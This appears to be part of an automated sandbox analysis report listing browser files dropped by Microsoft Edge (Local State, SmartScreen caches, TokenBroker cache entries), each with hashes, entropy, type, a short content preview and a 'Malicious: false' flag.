Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f497.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103069143389172
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynVPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynlv/4KfVeZoskG
MD5:	8C94D039D70FD2F20023F360442DB387
SHA1:	53E1690DB9B1FCD6261560FE356A9C8C8DF0904B
SHA-256:	3CDECC00ACFCC7B5CE094A7F19A781939CE656FD6A780E3B8911FA925C7C9005
SHA-512:	C44BD98F0D45BBF763A1A5E3D35E05716AAD08AF2643032975BA40D5CA0B3AAADE0DABCD7BD5373B927E240BD1E79C3C5DE3C897216A3E859CF63F38F20DA977
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.019278650289408
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclcbWgy:YWLSGTt1o9LuLgfGBPAzkVj/T8lcygy
MD5:	335DA28FD38EFFCF6ABEE4CD9302A21D
SHA1:	75300B4856981FDBA5971C74004B9B4E419B5FE6
SHA-256:	1A160CA61DD1DA87355F328EFE4D17F907163705546D80D6BE86A07898631E1C
SHA-512:	493FAD46BB3E0935ACB54A18C5013747750DF0BF9BD3316FCC821394DD43D9223DCDB696B827C48D9438F83394709631F0D8C8D9E05328A6C22EFF4EE725E624
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1739623054061397}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c0c3bbb3-4726-41ca-88b0-c9da31ce0d06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58938
Entropy (8bit):	6.101679114550217
Encrypted:	false
SSDEEP:	1536:bMk16zRRvDaftPGWv/sxtwIp8/6gFo87VLyMV/Yos3:bMYOf2Nv/4KD/6QFVeZos3
MD5:	AFBFA34C7047FCFEF582F6EE4D27C0AA
SHA1:	C25B62C9015892BEEC8404BFCB407A3419261E6A
SHA-256:	0A4B00F662AD4117FC9B9357E16B148D31D8778ED0ACF80039D8519D436AAB44
SHA-512:	53BA98D07674FB66A9618C5D8D8A898ED9D72CF3AB05CC2DEDD2907C8F4DD875B64CA5E930CDD544764C833A3E85FBB9758ECD639DE82193D2537DAEC19F0E9C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"13c7c821-39b6-4f26-bf5a-690c17afb76e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1739522254"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d1899685-c900-4b50-9b2e-298844d8bad7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57717
Entropy (8bit):	6.104080447531014
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOMPGWv/sxtwIj7VLyMV/YoskFoz:z/0+zI7yOIv/4KSVeZoskG
MD5:	BA6D64BBE12D1AF951125A291C4C7E81
SHA1:	F55306B8E73E6C51F026803747D01760F13CA5C7
SHA-256:	B1B5B8847A7E77DABBFB969BA3F7E14581E1AEBB6457FA59A617DE2A45CF7248
SHA-512:	D2DCF7D67C5FEA1D7A0FA3D42BD7078EC3C5F213F0A301558E26D030DF1B120349B72894F279EB6AB66ED56EC48C73E30F0A3C35FD53158B98D566AD4DFA6F09
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8434147879691007
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxgUxl9Il8uIKvl0BMAHYAAsYjvsd1rc:myYz90BpHYAsjD
MD5:	F7C1FB45B5BB69D83C932BA25C5B2986
SHA1:	02568FDAD3D905D753943C7C61D768B680EA090C
SHA-256:	8B7C3E7853F426B285CC0B7D0C6DC663261E074D86A3452786FAEC31DEB419F6
SHA-512:	E310AB482E4458EF6C9BC9DC51A41B922A1C50DF88E9D957FC03F3B73FFE184B4F7FE1ADC47BDBE68D3A99B63739DDC66D667EEB29FD1DC683A9194FA1240288
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.N.M.E.8.R.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.s.E.2.P.H.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.003440607352225
Encrypted:	false
SSDEEP:	96:LY2h0w4BdgNdQRQ+v6BXzBdEHtfea0wE/MRCnFjrl4jI:LYwDIRQ06BNdyH0B/MIB4c
MD5:	714ECDA38969DE3FA371DBD562EEFC5C
SHA1:	AC5CC417FFFF1E19058BDFE4914F5BE4728CFE9B
SHA-256:	3BD105F3F70AA8AA96138BF9B4871BD45D424630A94C3FB67A08306E031B123B
SHA-512:	AE681BEC354EC2BB029B55688099A9B4BF0096D1C2DBF9C7561139D684E2216537D9A752BB83BC09A48E74211231BF7F8834BEE9394812786157027E447AD3E6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".i.w.B.e.+.L.t.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.